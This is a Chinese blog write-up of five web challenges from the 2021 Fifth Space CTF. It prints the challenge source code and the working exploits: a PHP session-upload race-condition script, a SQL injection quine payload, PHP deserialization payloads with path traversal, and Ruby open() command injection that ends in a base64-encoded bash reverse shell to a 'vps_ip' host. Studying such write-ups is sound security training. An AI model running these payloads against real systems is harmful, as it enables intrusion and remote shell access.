2021第五空间WEB

文章目录

  • 2021 第五空间
    • WebFTP
    • EasyCleanup
    • yet_another_mysql_injection
    • pklovecloud
    • PNG图片转换器


复现地址:NSSCTF

2021 第五空间

WebFTP

感觉是非预期解:直接访问 phpinfo.php 即可拿到 flag。 2021第五空间WEB_第1张图片

首页,是 WebFTP,直接 github 搜到项目 WebFTP,是一个老框架了,默认密码 admin/admin888。这里复现环境直接就登上了,不过比赛时默认密码是被改了的。

2021第五空间WEB_第2张图片

下载源码分析发现存在测试页 mytz.php 也有 phpinfo。

/Readme/mytz.php?act=phpinfo

2021第五空间WEB_第3张图片


EasyCleanup

访问首页给源码:

 
if(!isset($_GET['mode'])){ 
    highlight_file(__file__); 
}else if($_GET['mode'] == "eval"){ 
    $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();'; 
    if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); 
    eval($shell); 
} 


if(isset($_GET['file'])){ 
    if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker"); 
    include $_GET['file']; 
} 


function filter($var){ 
    $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"]; 

    foreach($banned as $ban){ 
        if(strstr($var, $ban)) return True; 
    } 

    return False; 
} 

function checkNums($var){ 
    $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; 
    $cnt = 0; 
    for($i = 0; $i < strlen($alphanum); $i++){ 
        for($j = 0; $j < strlen($var); $j++){ 
            if($var[$j] == $alphanum[$i]){ 
                $cnt += 1; 
                if($cnt > 8) return True; 
            } 
        } 
    } 
    return False; 
} 
?>

可以列目录,不过没法查看,字符长度受限,由于 flag 文件名太长导致文件包含也不行

?mode=eval&shell=system("ls /");
# 以下报 hacker
?mode=eval&shell=system("nl /*");
?mode=eval&shell=1&file=/nssctfasdasdflag

2021第五空间WEB_第4张图片

不过这里可以利用 session.upload_progress 进行上传临时 session 文件并包含:

2021第五空间WEB_第5张图片

条件竞争 exp:

import io,sys
import requests
import threading
sessid = 'air'
url = 'http://1.14.71.254:28070/'
payload = ""

def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            url,
            data = {"PHP_SESSION_UPLOAD_PROGRESS": payload},
            files = {"file":('a.txt', f)},
            cookies = {'PHPSESSID':sessid}
        )

def read(session):
    while True:
        res = session.get( '%s?mode=eval&shell=1&file=/tmp/sess_%s'%(url,sessid))
        if 'findit' not in res.text:
            print('[+++]retry')
        else:
            print(res.text)
            sys.exit(0)

if __name__=="__main__":
    with requests.session() as session:
        threading.Thread(target=write, args=(session, ), daemon=True).start()
        read(session)

结果:

image-20220222115830126


yet_another_mysql_injection

网页源代码提示 /?source,拿到源码


include_once("lib.php");
function alertMes($mes,$url){
    die("");
}

function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
        die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}

if(isset($_GET['source'])){
  show_source(__FILE__);
  die;
}
?>
<!-- /?source -->
<html>
    <body>
        <form action="/index.php" method="post">
            <input type="text" name="username" placeholder="账号"><br/>
            <input type="password" name="password" placeholder="密码"><br/>
            <input type="submit" / value="登录">
        </form>
    </body>
</html>

考点是 Quine,指的是输出结果与程序自身源码一致。

参考文章:SQLi Quine 和 yet_another_mysql_injection。

改了一下 exp:

sign = '1'
data = f"'UNION/**/SELECT/**/{sign*2}#"

def quine(data, debug=True):
    if debug: print(data)
    data = data.replace(f'{sign*2}',f"REPLACE(REPLACE({sign*2},CHAR(34),CHAR(39)),CHAR({ord(sign)}),{sign*2})")
    blob = data.replace(f'{sign*2}',f'"{sign}"').replace("'",'"')
    data = data.replace(f'{sign*2}',"'"+blob+"'")
    if debug: print(data)
    return data
data = quine(data)
print(data)

payload:

username=admin&password='UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("1",CHAR(34),CHAR(39)),CHAR(49),"1")#',CHAR(34),CHAR(39)),CHAR(49),'"UNION/**/SELECT/**/REPLACE(REPLACE("1",CHAR(34),CHAR(39)),CHAR(49),"1")#')#

结果:

2021第五空间WEB_第6张图片


pklovecloud

访问直接给源码:

  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

有一个比较,不过 $heat 变量并没有定义,或者是类外的变量,会报 PHP Notice: Undefined variable 错误,所以这里 nova 为 NULL 就会判定其相等,最后调用 file_get_contents 函数去读取 flag.php 文件即可。

$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova){...}

构造 payload:


class pkshow {}

class acp 
{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct()
    {
        $a = new ace();
        $a->filename = 'flag.php';
        //$a->filename = '../../../../../../nssctfasdasdflag';
        $c = new pkshow();
        $a->docker = serialize($c);
        $this->cinder = $a;
    }
}

class ace
{
    public $filename;
    public $openstack;
    public $docker;
}

$b = new  acp();
echo urlencode(serialize($b));
?>

访问:

/?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A17%3A%22O%3A6%3A%22pkshow%22%3A0%3A%7B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

得到 flag.php 内容:


$heat="asdasdasdasd53asd3a1sd3a1sd3asd";
$flag="flag in /nssctfasdasdflag";

修改一下 payload 得到 flag:

/?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A34%3A%22..%2F..%2F..%2F..%2F..%2F..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A17%3A%22O%3A6%3A%22pkshow%22%3A0%3A%7B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

2021第五空间WEB_第7张图片


PNG图片转换器

直接附件下载 Ruby 代码:

require 'sinatra'
require 'digest'
require 'base64'

get '/' do
  open("./view/index.html", 'r').read()
end

get '/upload' do
  open("./view/upload.html", 'r').read()
end

post '/upload' do
  unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    return ""
  end
  begin
    filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    open(filename, 'wb') { |f|
      f.write open(params[:file][:tempfile],'r').read()
    }
    "Upload success, file stored at #{filename}"
  rescue
    'something wrong'
  end

end

get '/convert' do
  open("./view/convert.html", 'r').read()
end

post '/convert' do
  begin
    unless params['file']
      return ""
    end

    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return ""
    end
    res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
  rescue
    'something wrong'
  end
end

Ruby 中的 open 函数存在漏洞,如果以 | 开头则会 fork 出一个进程,而 | 后面的内容则会被当成一条命令执行:

cmd = open("|ls /|base64")
print cmd.gets
cmd.close

在 /convert 处抓包:

file=|ls;.png
# 过滤了 .. 和 / ,利用 base64 编码,“bHMgLwo=”即“ls /”
file=|echo bHMgLwo=|base64 -d|sh;.png
# 找了很久没找到 flag 文件,后面直接弹 shell 才发现原来在环境变量里
file=|env;.png

2021第五空间WEB_第8张图片

弹 shell:

# 得到 base64 值
echo 'bash -i >& /dev/tcp/vps_ip/2333 0>&1' | base64

# file 处填写,base64值得经过 url 编码
file=|echo base64值 | base64 -d | bash;.png

2021第五空间WEB_第9张图片

转载请注明出处
本文网址:https://blog.csdn.net/hiahiachang/article/details/123118953

你可能感兴趣的:(CTF,NSSCTF,CTF)